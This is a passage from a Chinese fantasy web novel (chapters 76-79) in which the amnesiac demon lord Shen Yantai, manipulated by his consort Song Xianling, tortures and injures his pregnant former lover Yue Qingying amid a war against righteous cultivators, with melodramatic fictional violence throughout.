他变成天上飞的鸟,水里的游鱼,书上盘着的蛇,在沈砚台所过之路,已不同姿态陪着他。 在见到他眼也不眨杀人时,脸色苍白,他就这样伫立着,看着沈砚台。 本以为,自己要失望,他还是什么都没改的时候,他的心却在挽留他。 等等,再等等。 在手下人都走远后,沈砚台便返回来,看着这些死了的人,动了动手指,随即抽身离去。 在他走后不久。 地上那些死去的人的身边却是开出了一朵白色的食灵花。 花蕊中静静躺着一颗魂珠。 等花朵成熟之际,魂珠坠落,变会变成小孩从而吸取天地灵气慢慢长大。 月轻盈垂泪心碎,沈砚台……果然,变好了! 他值得他爱了。 可是他呢。 又值得这样好的沈砚台爱他吗? 沈砚台杀完人就救人,步骤虽然麻烦了一些,但也不至于让他这么烦躁。 恼怒的来源是跟在他身后的小尾巴。 身上那么香,他一靠近就能闻见,不依不饶跟着他到底是想干什么? 更让他烦的是自己,为什么他不想杀他。 他捂住自己的心口,明明没了心为何还会悸动。 月轻盈又跟了些时日,担心江源来找他,便匆匆回了月华宫。 察觉到小尾巴不在了,沈砚台松了一口气。 小尾巴在,他杀人的时候都没以前那么利落了。 知道一个人在看着你,那个人你还不讨厌,可不就关注起自己的一举一动了吗。 也不知道小尾巴是跟累了还是不打算跟了。 月轻盈回月华宫没多久,江源就来找他了。 江源最近很奇怪,眼神留在他肚子上的次数变多,每每这时候,他就能感受到一股危机感。 侧身多躲过江源的视线,月轻盈语气很冷,“今天有什么事吗?” 江源盯着他,赔笑道:“没什么,就是来跟月仙尊确认一下,天骨遗产是真的吧?” “什么?” 月轻盈一愣,紧接着冷下脸,江源竟然是将注意打到了孩子的身上。 “还有其他事吗?”怕把他惹恼,江源没再说什么便走了。 他一走,月轻盈便立刻去找沈砚台。 这日黑夜。 沈砚台在楼台等月轻盈。 月轻盈还是黑衣,带着面纱,抱着大肚子一步步走来。 沈砚台看他臃肿的身子,踉跄的步伐,若有所思。 小尾巴怀着别人的孩子还跟踪他,真是不安分。 诡异的是,他竟然不讨厌这三个孩子,真是奇怪。 “取名,来兑现承诺了。” “给你。” “这是什么?” “名字的名单。” 月轻盈结果一叠纸,看着上面潦草的字迹仔细辨认后,整个人都不好了。 “狗剩……二蛋……三娃……发财……”他的脸黑了。 “这些是你想的,还是别人给你的出的主意?” “我不会,问了人。” 月轻盈无语,然后发笑,原来沈砚台名字多么的有馍彩,搞半天有墨彩是父母对他的期望。 “孩子名字不能这么取得,孩子长大了会怪你的。” “你的孩子又不是我的,怪你,怎么会怪我?” 月轻盈心虚,闭嘴了。 将这些纸都损毁后,他还是有些愤愤不平,“怎么能叫二蛋……狗剩呢?” “那你想给孩子取什么名字?” “小川小河小宵。” “咱俩不是彼此彼此吗?” 取名陷入冷战。 “小尾巴,你是谁?”沈砚台突然凑近月轻盈,吓了他一跳。 月轻盈伸手捂紧脸上的面纱,转过头去不和他对视。 “我不是说了我崇拜你……” “不怕我杀了你?” “不怕。” 沈砚台对他的自信感到不爽,眉眼深压:“给我看看你长什么样。” “不行!” 月轻盈瞪大眼,受惊道:“我……我长得很丑的。” “那你的孩子注定得叫二蛋狗剩。” 月轻盈:“……” 以前怎么没发现他那么气人? 月轻盈转移话题,有些试探道:“魔尊,你不是有一个月轻盈的尊后吗,你复活后怎么不去找他?” 沈砚台愣了一下,眉头拧了起来,很认真的反问他:“月轻盈是谁?” 嗡…… 脑子像炸了一样嗡嗡响,月轻盈内心慌乱无比,好半晌,才红着眼确认沈砚台不记得他了。 原来如此。 怪不得他不来找他,原来是不记得他了。 月轻盈苦笑一声,伸手擦去脸上不知何时流下的泪水。 不记得他也好,他总是让他手上,给他带来痛苦。 “我还有一个叫月轻盈的尊后?”沈砚台蹙眉道:“宋先灵说,我只有他一个尊后。” “宋先灵……”月轻盈眼泪流的更急了。 他懂了。 在他为沈砚台的死无助哭泣的时候,原来是宋先灵救了他。 “是,是我说错了,你的尊后只有宋先灵。” 他值得。 他什么都没有为沈砚台做,他不配。 他伸手抱紧肚子,心涩难忍,果然,从头到尾,他还是什么都做不了。 “今……今天太晚了,明天我再来……不,明天我有事,暂时就先不来了。” 月轻盈说完,不等沈砚台回答就先走了。 沈砚台坐在原地,表情没有放松,而是眉头皱地死紧。 宋先灵最近发现沈砚台总喜欢往外跑,身上还有一股熟悉的香味。 这股香味让他联想起了月轻盈,他有了紧张感。 他不爱沈砚台,但是他离不了沈砚台,在他没有杀光正道修士那些人为鸟族报仇之前,他必须将沈砚台死死地掌控住。 他选择主动出击。 “回来了?” “嗯。” “我们来商讨一下,五天后我们便去攻打修真界那些正道修士。” “有想法了吗?” “自然。” “好,你让我做什么我都会去做。” “其实……我隐瞒你一件事。”宋先灵看着沈砚台,解除了遮掩在腹部的障眼法。 看着那浑圆挺起来的肚子,沈砚台愣住了。 “这是我们的孩子,我一直瞒着你是怕你讨厌,你是蛟龙,有了你的孩子会分去你的命数,我怕你杀了这个孩子……” 宋先灵边说,便伸出手握上沈砚台的手搭在自己的腹部。 “你摸摸看,他很活波不是吗?” 第76章 第76章 一尸四命 掌心下的肚皮很是柔软, 腹腔里的小孩感知到他的存在,立刻蹬腿动了动。 酥麻感震的沈砚台身躯一震,他收回手, 不可置信, 看着宋先灵的眼眸复杂, 嗓音都干哑了几分。 “你怎么……现在才告诉我?” “孩子大了瞒不住了,你会怪我吗?”宋先灵见沈砚台没有特别大的情绪,紧张的心也变地平稳了些。 “不会。”沈砚台放下手,看着他浑圆的肚子, 吐字艰难。 “我只是……只是担心你的身体。” 宋先灵笑开了, “真好,我以为你会不想要这个孩子。” “怎么会呢, 这要是我的孩子,我就算只剩下一点命数也会留着他的。” 沈砚台呆愣了一下, 抬手将宋先灵搂了怀里,眼神里却是一片茫然。 他碰触到这个孩子时, 竟感受不到一丝的喜悦, 也没有初为人父的激动。 宋先灵顺从的反抱着他, “等我们除掉正道那些道貌岸然的伪君子,我们把魔族政治好, 我们一家三口就好好过日子好吗?” “……好。” 沈砚台失忆了,什么都不想起来, 睁开眼见到的第一个人便是宋先灵。 他不是傻的, 经过这些天的观察,他好他坏他也会分辨。 宋先灵对他不坏,他选择相信他。 孩子,可能只是他失忆了, 所以才对他没有感情。 他想着,等他恢复了记忆一切就都会变好的。 只是莫名的,他想起了小尾巴怀着的那三个孩子。 月轻盈回到月华宫,整个人便开始发起了呆。 宋先灵救了沈砚台,所以沈砚台遗忘他,会和宋先灵在一起是应该的。 为什么,为什么他这么的不甘心。 他一个闪身,来到别云间。 这里仿若还有沈砚台的气息,他看着被他填满了的住所,里面充斥着的都是他们的回忆。 “我……我不该再去打扰他。” 带着这样的信念,月轻盈在别云间像是逃避事实一样,很久都没有露面。 而这些时日,沈砚台和宋先灵也已经谋划,规划好攻打正道的计划了。 三日后。 许是感应到正道与魔族不可避免的大战一触即发,天空都阴沉的像是要压下地面。 这天,风势很大。 沈砚台宋先灵带着庞大的队伍,攻上了月华宫。 江源手底下的修士也不少,倒也不虛,更何况,他手里还有一张两张王牌,就算败了,他也能保全性命。 然而,当他真正的看到沈砚台那张让人梦魇般的脸庞时,还是吓得打了一个哆嗦。 当日,他能从沈砚台的手底下逃脱,完全是因为他的心脏长在右边,没有伤及要害。 难道这个沈砚台心脏也是长在右边吗? 很快,他就无暇顾及了。 沈砚台和宋先灵对他们发起了攻击。 魔尊尊后都出手了,手底下的魔兵自然也跟着冲锋陷阵。 很快,两房人马互相出现了死伤,但势头却是魔族更胜一筹。 归来的沈砚台没有了枷锁,也没有要保护的人,魔气全开,一个魔气扫尾就将很多正道修士给震伤。 魔尊压倒性的打压着正道修士。 宋先灵有些癫狂了。 只要有一个修士倒下,他就会立即扑过去补刀,确认他们都死了后才转而攻向下一个敌人。 他最想杀的人是江源,他手里拿着刀,眼眸仇恨弑杀般盯着江源。 江源也察觉到他的杀意,立刻猜测,宋先灵应该是知道了真相。 他脸色难看,在宋先灵和沈砚台齐齐对他出手之前,反身朝月华宫奔去。 他要找到月轻盈,拿到天骨,否则他一定会死,他还不能死,他杀这么多人,杀仙兽,也是为了振兴正道。 他没有错! 只要他活着,振兴了正道,那那些死了的人也不会怪他的。 “月轻盈,月轻盈在哪!” 月轻盈在别云间想开了,意识清晰了一些,便听到了江源的呼喊声。 他没什么精神的抬眼看去,下一秒,他就被江源扣住了咽喉。 “这是怎么了……额……”月轻盈话还没说完,就被传来的疼意打断。 “沈砚台你休想杀我,你若是杀我,我便杀了你最爱的人!” “什……么……”月轻盈看向江源,眼中有着茫然。 什么沈砚台。 下一秒,他就见到一袭黑衣,尽显冷酷的沈砚台负手而来。 月轻盈还未做好和他相见的准备,眼神一时间就乱了。 “什么?”沈砚台看向月轻盈,见到他样貌时顿了一下,在嗅到他身上那股熟悉的香味时,辨认出他就是小尾巴。 “我的话你听不懂吗!你要是敢杀我,我就杀了月轻盈,他肚子里可还有你的孩子!” 见沈砚台一步步靠近,江源拖着月轻盈连连后退,口气猖獗。 “我劝你最好放了我,否则我就让你最爱的人在你面前一尸四命!” 说着,他手下又用了些力,月轻盈疼得下意识抬高了下巴。 他看向江源,伸手抱住自己的肚子,紧张道:道:“江源,我劝你不要这么做,你要是逃就赶紧逃吧。” “哼,你少耍把戏,你就是沈砚台的软肋,只有你在我手里,他才不会杀了我。” 月轻盈语气很轻,泪眼朦胧:“现在不是了,他失忆了,他根本不知道我是谁。” “失忆……” 江源也没有料想到这样的局面,仔细想想,沈砚台从出现到现在确实是什么都没有做。 就这样放任他挟持着月轻盈,没有救援的动作。 江源有些无计可施了,月轻盈都挡不住沈砚台,难道今日他就要丧命于此了吗! 不行,就算死,他也要带走月轻盈,天骨他还没有得到手! “就算如此,我也不会把你交给他! 江源虏着月轻盈就要逃,沈砚台这时候直接展开了结界。 “就你,没我的允许你跑不掉。” 结界迅速将江源和月轻盈包围。 沈砚台在自己的结界里,利用魔气压缩,将月轻盈和江源隔开。 月轻盈逃脱出来,立刻伸手捂住脖子一阵剧烈的咳嗽。 沈砚台看了他一眼,便专心对付起江源,一到刺入了他的心口。 江源身体抽搐,明白过来,沈砚台还不知道他的心脏长在右边的事,立刻假死。 见他没了气,沈砚台也没有多做怀疑,他来到月轻盈身边,沉默的打量他。 小尾巴原来长的这么好看,肚子里的孩子竟然是他的。 对于江源的话,沈砚台是相信的。 他失忆的事并没有传出去。 江源为了逃过死劫,劫持他最看重的人也说的通。 现在再看到月轻盈的真面目,又想起他遮遮掩掩,撒谎说自己叫念君,丈夫不在,便了解他为什么要来接触自己。 原来,他是为了来见他。 “你到底是谁?”沈砚台蹲下身,看着月轻盈的眸子带上了探究。 月轻盈平复下来,看向沈砚台的眼眸里带上了悲伤,竭力解释道。 “他骗你的,我不是你最看重的人,宋先灵才是!” “宋先灵当时是我最看重的人,我现在想知道的是,你是不是他特意安排,安插进来的间谍?” 月轻盈唇瓣一抿,眼圈泛红,只是求道:“你说我是什么都可以,只要你不伤害孩子我是什么人我可以做。” “不用在我这里装可怜,一会儿宋先灵来了,便是什么都知道了。” 月轻盈一愣,默默流泪。 沈砚台站起身,在原地的等了一会,宋先灵果然来了。 他看到地上趴着的月轻盈,再看看面无表情的沈砚台,眼里闪过暗光。 “月轻盈。” 沈砚台抬眸,看向宋先灵。 宋先灵走过来,对着沈砚台道:“这个人是月轻盈,你的小妾,他肚子里的孩子也确实是你的孩子, 不过,他在你落难濒死之际逃了,不出我所料的话,他该是听到你复活了的消息,来找正道修士寻求庇护的。” 宋先灵没遗漏江源的尸体,哼笑道:“若是我猜的不错,这个江源是否还挟持他打算逃跑,不过你技高一筹还是被你给杀了。” 月轻盈眼瞳混乱的看向宋先灵,没想到他胡说八道的能力这么强。 但是他不想解释,宋先灵救了沈砚台,光这一点,他说什么沈砚台都不会信。 他抬眼去看沈砚台,沈砚台对宋先灵的话深信不疑,点头道:“原来如此,竟然这样,你觉得这个人应该怎么处理。” 宋先灵看向月轻盈,轻笑了一下说,“他毕竟怀了你的孩子,就这样将他养着吧,待他生下孩子咱们在做定夺。” “好。”沈砚台的目光一直追寻在宋先灵的身上。 月轻盈见状,鼻尖发酸内心刺痛,眼泪又无声滑落了下来。 沈砚台很快占领了月华宫,余下的正道修士亦被他控制起来。 他找来两个魔物将月轻盈扶起来,问他:“你原先住在哪里,便让他们带你去哪。” 月轻盈被扣押着带走了。 沈砚台和宋先灵打扫战场。 宋先灵看着地上死了的那些正道修士,只觉得不够,就这么点人名,根本无法偿还鸟族族人的性命! 他眼睛一转,看向沈砚台,提了一个建议,“咱们选个良道吉日,就用这些修士的命,召告三界五行,世上再无正道修士!” 第77章 第77章 沈砚台……你也看看我…… “好, 我自然是依着你的。”沈砚台对宋先灵纵容。 闻言,还没有走远的月轻盈,回头眼眸哀伤的看着沈砚台。 “别杀他们, 求你。” 沈砚台看着他, 不发一言。 宋先灵挑眉, 在一旁看戏。 见沈砚台没有表态,月轻盈眼泪落地更急了,“不要杀人,沈砚台, 你不能杀人, 不要杀人……你会后悔的。” 沈砚台看着他落泪,眯眼, 抽离视线,对着魔物道:“把他带下去。” 宋先灵满足一笑。 “你也先回去吧, 你怀着孩子累着你就不好了。”沈砚台伸手覆盖在宋先灵的腹部,圆滚滚看着就很沉的肚子凸出。 杀了人宋先灵心里的恨意减少了不少, 此时也感觉到了疲惫, 便点点头。 见他走了, 沈砚台招手让人来收拾江源的尸体。 而他一个不察,竟然是让江源给逃跑了! “魔尊……”魔物们见状赶紧回来禀告。 “无妨, 不碍事,这件事先别告诉尊后, 以免他担心。” “是。” 沈砚台没将江源放在眼里。 占据了月华宫后, 他便巡视起了领地,不知为何,这一幕他总觉得有些熟悉。 正四处查看之际,不远处忽然出现一团雪白, 身上还有飘落的雪花。 他不动声色的走过去,脚步声却还是惊动了一团雪白。 跟在蹦蹦跳跳的雪白团子身后,沈砚台来到了树岭。 只见一颗仿佛能遮天蔽日的庞大树木,周围积攒着庞大的仙气。 在它的范围内,有许多的小生灵在降生的,都是小宝宝。 “这是……”沈砚台看得愣住了。 本来他是魔,他管理的区域里不该有仙兽出现,可不知为何,他就想到了他那未出生的孩子。 他终是没有动杀心。 还抬手在树岭周边下了一个牢不可破的结界。 “这样,也算是做好事了。” 沈砚台愣了一下,不可置信地看着自己的掌心,他无心无情杀人不眨眼,怎么会保护起了仙兽? 脑海里忽然就浮现月轻盈哭着说他会后悔时候的情形。 不知为何,他有些恼怒。 “笑话,我堂堂一魔尊,杀人何时会后悔。” 他看着树岭里那些脆弱的宝宝仙兽,眼眸一戾,伸掌出去就要动手。 手在半空维持了小一会,他缓缓收回手,“和这些眼睛都没有睁开的仙兽置什么气。” 沈砚台衣袍一甩,转身走了。 而被他先前跟踪的仙兽则是蹦跳着出了树岭。 魔物们询问月轻盈住在哪。 月轻盈便让他们把他带去了绝仙台。 现在的他没有资格和沈砚台在一起,唯有看看记忆中的他才好缓和自己的思念。 待魔物们离开,月轻盈便思索起怎么救下那些修士的事。 许久都没有头绪,他看向云层深处的沈砚台,“我无计可施,你教教我,该怎么做。” 就在他挫败时,一团雪白闯了进来,浑身毛茸茸周身下着雪花,如小精灵,漂亮极了。 “雪月兔。”月轻盈眼睛一亮,伸手将他抱在怀里,不顾雪花的凉意,下颌轻蹭他的毛发。 “你怎么跑到这里来了?” 月轻盈以为他是在树岭劫难中逃脱的那一只,便十分担心他会被魔物发现。 雪月兔却是趴在他圆滚滚的肚子上,竖起耳朵听了一会儿,不知道听到了什么,竟开心的蜷缩起了耳朵,粘在月轻盈身上不愿意下来了。 月轻盈没办法,只好护着他。 终于是过了瘾,雪月兔从他身上下来,摇头晃脑地要走。 月轻盈看在原地,目送他走,雪月兔却是回过头张嘴咬他的衣摆。 “去哪?” 雪月兔身上的雪花下的更加的稠密,知道他心急,月轻盈软了心,跟在他身后。 来到了树岭。 庞大的树岭,周围都是身上闪光的小仙兽宝宝,月轻盈见状,心情一个悸动,喜极而泣。 “仙兽降生,是吉兆,没事的,没事的,我肯定会找到方法的。” 就在他脑海里有什么头绪的时候,脚边的雪月兔又在扯他衣角。 月轻盈看过去,就见他钻进了树岭里,不多时,它的身后缓缓走出一只身躯庞大成熟体的雪月兔。 大毛茸茸眼神深邃,看了月轻盈一眼,低吼了一声,月轻盈哽咽一声,惊喜万分。 “你是当初那个救了小雪月兔的雪月兔!” 小雪月兔蹲在地上笑弯了眼睛,月轻盈的心软的一塌糊涂。 “真好,你们过的好我好开心。” 大雪月兔带着小雪月兔和月轻盈打完招呼就走了。 月轻盈吸吸鼻子,眼神变地坚定。 他回到绝仙台后开始打坐,脑子里一刻不停的回想着和沈砚台之间的一切。 情…… 情丹! 月轻盈眼眸一睁,有锐利划过,怔然过后他破涕为笑,有了。 他有办法了。 情丹,是他和沈砚台一切的开始,现在,是他沈砚台和沈砚台结束的时候了。 月轻盈吸了一口气,双手捧着大肚子,去找了魔物,要求见沈砚台。 魔物们代为转达,但是很不巧,沈砚台最近出征去降伏其他妖族的人,不在月华宫。 魔物们见月轻盈见沈砚台心切,便将消息告知给了宋先灵。 “他要干什么?知道沈砚台失忆了好要找他,肯定有蹊跷。” “你们说魔尊不在,他还是缠着你们。” 宋先灵眼眸里划过深思:“本以为他是个懂分寸的,没想到在情爱面前仙尊也落入七情六欲。” “好啊,那就去看看他想说什么。” 宋先灵带着魔物去见了月轻盈。 月轻盈见来的人是宋先灵,什么都不想说了。 “怎么,看到我就变哑巴了?” “我找沈砚台,与你无关。” “他现在是我夫君,你过问他的事情,经过我的同意了吗?” “宋先灵,我很感激你救了他一命,我不为难你,我只是想见见他。” “你是想央求他,放过那些正道修士吧?” 两人有来有回。 月轻盈知道被看穿了,也不隐瞒,“你竟然知道了就一定不会同意,为什么还要来?” “那……当然是,想亲眼看你幻想破灭了。” 宋先灵走进月轻盈,眼睛里的仇恨没有遮掩,一字字一句句都似是带着血。 “这些心里藏刀的修士灭了我鸟满门你知道吗!” “可是你也杀了不少正道修士了不是吗,他们遍布一地的尸体,还不够偿还吗!” 月轻盈低吼,“宋先灵你适可而止!” “我止不住!我杀死的那些正道修士们算什么东西?我和我父母兄妹几千几万年的感情,因为这些该死的什么都没了,我没有家人了,我就是将他们杀光杀绝都难以抚慰我的怨恨!” 月轻盈张唇,无言以对,只看着宋先灵说:“无穷无尽的杀戮是不对的,冤冤相报何时了。” “你少在这里说大话,你几个徒弟被沈砚台杀死的时候,你不也嚷嚷着为他们报仇吗?” “是。” 月轻盈看着宋先灵,眼里带上了无力,“可是……我最后尽然爱上了他。” “是,就是这样,所以你现在被关,没有自由,再过一段时间,你也要死。” 月轻盈唇瓣动了动,猛地抬头看向宋先灵,“这是你的意思,还是沈砚台的意思?” “我的意思,不过,你以为你现在还有什么筹码可以让你翻身?” 宋先灵上下打量了月轻盈一眼,视线落在他的大肚子上,“凭借着孩子吗?这可不一定会成为你的救命稻草。” 月轻盈抬手摸了摸肚子。 宋先灵见状,讥笑道:“行了,说说吧,你找他到底有什么事?” 月轻盈不说话。 “不说?你以为保持沉默就可以了?”宋先灵眼里有着狠毒。 “你们去给我抓住他。” 魔物们照做,将月轻盈的手脚控制住,他挣脱不开,看着一步步朝着他走来,面色不怀好意的宋先灵,他心里不住的一阵恐慌。 “你说,我现在要是弄死你的孩子,你还拿什么来吸引沈砚台的注意力。” “你要干什么,别过来!”见他要伤害孩子,月轻盈挣扎起来。 “沈砚台的孩子只有我能给他,他现在失忆了,什么都记不得,就算他哪天想起来了,孩子的事也已经尘埃落定了,你啊,还是认命吧,安静的死去还能免受不少痛苦。” 月轻盈满脸苍白,眼睁睁地看着宋先灵朝他伸出了手。 他的手变成了刀刃,异常锋利,极尽快速的迫近自己。 月轻盈心神一沉,仙气大开,震飞魔物和宋先灵。 伤筋动骨,连累了肚子里的孩子,月轻盈疼得闷哼了一声,单膝跪倒在地,满脸的冷汗。 他抬眼去看宋先灵,却见他姿势诡异,和他一样,竟是把手放在肚子上,疼得龇牙咧嘴,两个魔物上前将他扶起来。 宋先灵瞪着月轻盈,猛地神情一变,竟然是拿刀砍下了自己的手。 “啊……好痛,月轻盈疯了,他给我下毒,砚台你在哪……救我!” 月轻盈头脑空白。 下一秒,沈砚台身影一闪而过,来到宋先灵身边,紧张地拥着他,满目关切都在他身上。 月轻盈眼泪滚落,脸色苍白,抱紧肚子,看着沈砚台,想说自己也好疼,沈砚台……你也看看我。 第78章 第78章 月轻盈受到了什么惩罚 沈砚台快速给宋先灵止血疗伤, 见他脸色苍白虚弱的样子,气急攻心竟是对月轻盈拍出去一掌。 月轻盈倒飞出去,直直摔倒在地, 身体的痛都不敌心口的痛。 他抱着大肚子, 看着沈砚台未语泪先流。 “我会让你生不如死。”沈砚台看也不看他一眼, 抱起宋先灵先行一步。 虫牢。 月轻盈被绑在跪倒在刑凳上前,双手被玄铁扣紧,两个魔物在不停得对他的手下虫蛊。 他手的皮肉在顷刻间化为血水,被治好后又被其他虫子啃食。 月轻盈面前的血流了一地, 疼得将嘴唇咬出血, 身躯不住颤抖,浑身都在冒冷汗, 疲惫加上蚀骨的痛让他极其虚弱。 “我没有对宋先灵出手。” 他看着坐在上首,看他行刑的沈砚台, 目光正直,流下的每一滴泪水都含着委屈。 “不是你, 难道是先灵自己做的?”沈砚台目光冰冷的看着他。 “你真是歹毒, 竟然敢对我最亲近的人下毒手。” 月轻盈唇瓣颤抖, 又是一个巨疼,他脸上的青筋都鼓起来了。 “竟然是你先动的手, 也别怪我让你涨涨记性。” “来人,把这个给他吃了。” 沈砚台招手, 其中一个魔物走来, 接过他递出去的瓷白瓶子。 “这里面是蚀骨虫,每当你的手快要长好的时候,他就会一点点吃点的肉,让你痛不欲生。” 月轻盈红着眼, 执着的看着沈砚台,死也不肯张开嘴。 魔物没法,用力掰开他的嘴,将虫蛊喂了进去。 “咳咳……”月轻盈被呛,咳嗽的直不起身。 他被虫蛊折磨,又心神大伤,肚子里的孩子多少有影响,正死命的踹他的肚子。 “额……”他疼得就差在地上打滚。 现在的他一身白衣污浊,浑身沾染血液,头发凌乱,表情痛苦,蜷缩在地上颤抖不止。 沈砚台见状,不知为何有些不忍,但他想起宋先灵,终是忍下了。 “将他带回去。” 月轻盈进气少出气多,趴在地上修养,好长一段时间他都没有起来。 “沈砚台……我快要坚持不下去了。”他抽噎着。 沈砚台去看了宋先灵,伤势止住了,也没有受到其他的影响。 “还好,你没有受到伤害。”沈砚台满眼庆幸,伸手摸着他的脸庆幸一笑。 “谢谢你及时赶来救我。”宋先灵的脸在他的掌心轻轻蹭了蹭。 “对了,月轻盈怎么样了?” “你问他干什么?” “我后来想了想,我受伤没那么严重,就是受到惊吓了,你可不要太过迁怒惩罚他,毕竟他有了你的孩子,你多少也该对他好点。” “这件事我自有分寸,饿不饿,要不要吃点点心?” “不饿。” 既然如此,沈砚台也没有强逼着他,而是在陪了他一会后就离开了。 “让你们追查的那个修士的行踪,有消息了吗?” “还没有,但是我们发出了通缉令,要是找到他,一定会有人来报。” “好。” 江源逃跑后,没有死心,梅开二度再度玩起了扮猪吃老虎的计谋。 纠集了一批对沈砚台残忍手段看不惯的修士,想要重新发起攻击。 好巧不巧。 嘴上说着要放过月轻盈的宋先灵,则是在合计第二次的谋害了。 “月轻盈受到了什么惩罚?” “魔尊让人给他喂了虫蛊,他的手要是一长好,虫蛊就会将他的血肉吃掉。” “呵,还算让我满意,出了口恶气。” 宋先灵享受着婢女的按摩,一边道:“最近的正道修士藏的深,也不好抓来随便杀了,就让这月轻盈陪我玩一会吧。” “你明天去找几个修士,什么身份都不管,你要记住,你找这个修士装扮成正道修士的样子, 让他们去找月轻盈,让他们联合月轻盈来攻击我,你说,沈砚台看见月轻盈要杀我,他会不会一个激动把月轻盈杀了。” “说不好,不过尊后可以试试。” 宋先灵没有试,而是直接找人做了。 月轻盈还在养伤,莫名其妙就被一群人带着逃跑,时机很好的到了宋先灵的住处。 这些修士忽然对着宋先灵出手,劲风都没有碰到宋先灵,沈砚台的身影就出现了。 月轻盈眼眸一抬,哪里不知道这是宋先灵的局。 他知道宋先灵讨厌他,视他为眼中钉,没成想他竟然对自己如此发狠,竟是想置他于死地。 见沈砚台出来,这些修士便带着月轻盈撤退。 月轻盈看着沈砚台,见他无动于衷的眼神,心说,还不如跟这些人走。 他收回流连在沈砚台身上的视线,跟在这些修士身后逃跑。 等他们逃到了远处,不等他喘口气,这些修士便纷纷对他亮了刀剑。 月轻盈视线从这些人身上扫过,自嘲一笑,也是,宋先灵怎么会给他逃跑的机会。 “宋先灵还真是不死心。” 他都做好了和这些人动手的机会,不曾想一群人出来竟是救了他。 待他们将这些人赶走后,月轻盈才有空打量后一批来者。 “仙尊,别来无恙。”是江源。 “你怎么在这里?” “我一早就猜到宋先灵不会放过你,于是,便在这里等着。 不曾想,宋先灵等不及,竟然这么早就把你引出来,想在这里把你解决了。” “你们怎么在这里?”月轻盈的表情没有放松。 宋先灵想要他的命,江源又何尝不是呢。 “这个你就不用管了,我劝你最好乖乖跟我们走,否则,宋先灵派来的第二批杀手就要来了。” “你们在这里是想杀沈砚台?” 月轻盈很快就察觉出了他们的目的,“你们接下来还想做什么?” 江源说:“你也听到了,他们要选个良道吉日杀光正道修士,自然是为了阻拦他。” “你们别伤害沈砚台,我还有一计。” “什么?” “我……我有神器情丹,只要我催.发.情丹,让沈砚台爱上我,他一定会听劝,不会下杀手的 ” “情丹,这也不失为一个好办法!” “怎么样,让我试一试?” “此话当真?” 不用损耗一兵一卒就能让沈砚台束手无策,江源等人自然是愿意的。 “那你这次便好自为之,三日后你不来联系我们,我们直接动手。” 第79章 第79章 你一定喜欢我 月轻盈失踪, 月华宫里也乱了套。 沈砚台阴沉着脸,魔气翻涌,他周边所有的东西, 尽数被摧毁, 一地浪迹。 见状, 地上跪着的那一群魔族人,大气也不敢喘,白着一张脸,头死死磕在地上。 血腥味一直漂浮在鼻端。 就在这窒息的档口, 有人来报。 “回来了, 月……月轻盈回来!” 沈砚台微微一愣,墨眉紧绷, 原地消失。 头贴地的魔人们死死闭上眼,深深吸了一口气, 心都是抖的。 他们不用死了。 月轻盈拖曳着自己疲惫的身躯,察觉到周边魔气翻涌, 便知道沈砚台来了。 他脚步顿住, 用一双无神垂着的眼去看沈砚台。 沈砚台见到他, 眼睛带着狠戾,刚想出手将他抓回来, 就见挑拨他情绪的人说话了。 声音里是浓浓的无力,“沈砚台, 我没有想逃跑, 我是被人抓走了。” 他执着的看着沈砚台,伸出手,掀开自己的衣袖,露出那被钳制的发红发肿的手腕。 “你信我吗?”说这话时, 月轻盈心酸,看着沈砚台眼里有着希冀。 沈砚台打量了他一圈,见他白衣污浊,身上仙气散尽,手上的伤,信了三分。 只是,对他的消失他出奇的愤怒也只是消散了一点。 “让你长腿不是让你到处乱跑的,这腿不要也罢。” 月轻盈一怔,还么反应过来,便是一阵剧痛袭来,他惨叫了一声,摔倒在地,缓缓低下头,这才看见自己的腿折了。 他懵然抬眼去看沈砚台,满目的不可置信,最后,他也只是轻啜着忍下了这份疼。 哪怕疼得浑身都是汗,眼泪顺着眼角落下,月轻盈都还是眼也不眨地看着沈砚台,甚至……朝他伸出了自己的手。 “那……如今,我不能走路了,魔尊能抱我回去吗?” 沈砚台看着他敞开的怀抱,竟然有瞬间被蛊惑,向他靠近了几步。 反应过来时,自己已经停在他的脚边,他拧眉,自己不该对一个想要对宋先灵有杀心的人仁慈。 他出掌,欲教训月轻盈。 月轻盈看穿,先他一步开口,“好啊,你打我啊,你明明能杀了我,却一直不下手,你对我有情,哪怕不是情,但是你在意我!” 沈砚台恼怒欲动真格,月轻盈又大颗大颗落泪,想着宋先灵说的对他好点,孩子,作为契机,安抚好自己,蹲下身,打横抱起了月轻盈。 重新回到温暖熟悉的怀抱,月轻盈几乎是喜极而泣,他抽噎着,没控制住自己早已起伏波澜的心,伸出手紧紧扣住了他的脖子。 沈砚台手掌用力扣紧他断掉的腿,警告他,月轻盈只是皱皱眉,疼得闷哼,手下也不甘示弱,死死扣住他的脖子。 两个人都很疼,都不放开彼此,折磨彼此。 就这样一路回到关押月轻盈的地方,月轻盈又开口让沈砚台给他疗伤。 说是,以后沈砚台改变主意了,想起他了,见他的腿被他弄断一定会哭等等,哄骗的沈砚台退让,将其双腿的筋骨连上,任它自己长好。 月轻盈看着忙碌的沈砚台,凑近他,试探道:“沈砚台,你喜欢我。” 情丹是有用的,对当初的魔头沈砚台有用,这次也一定会有用的。 月轻盈认真地盯着沈砚台的表情,不放过任何一丝一毫的变化。 沈砚台的眉宇间冷地似冰川,缓缓收手,讥讽道:“你妄想,我不会喜欢你。” 月轻盈脸色一白,心口骤疼,伸手死死揪紧心口位置的衣裳,手背青筋鼓起,力气大到手骨发白。 他的一句不喜欢,竟然让他沉痛的感到窒息。 他唇瓣颤抖,“你一定喜欢我。” 帮他检查完腿伤,沈砚台起身,冷漠疏离看地月轻盈眼里的光渐渐熄灭。 “下一次,你若是再无缘无故的消失,我一定会杀了你,一尸四命!” “沈砚台。”月轻盈垂眸看地,声音很轻地喊他,“若是哪天我死了,你帮我把孩子取出来,替我亲亲他们好吗?” 沈砚台背影沉默,一言不发地走了。 月轻盈闭眼。 他只有三天时间,利用情丹让沈砚台爱上他,改变他杀了正道修士的决定。 三天,真短暂啊。 月轻盈回来的消息,很快就传到了宋先灵的耳朵里。 “什么,那些人竟然失败了!” “尊后,您派出去的那些人没有人回来,想来是没命了。”婢女道 。 “这中间到底出了什么事?” 宋先灵烦躁,他焦虑地咬着自己的手指甲,“难道是有人在帮月轻盈?” 宋先灵一下子将自己的指甲咬烂撕下,鲜血淋漓,“月轻盈没有逃,而是回来了,他……肯定在预谋什么。” “到底是什么让月轻盈不怕死地回来了?” “灵丹妙药,计谋,还是……他有神器?” “什么神器能有尊后的凤凰喙厉害?”婢女抓住了重点。 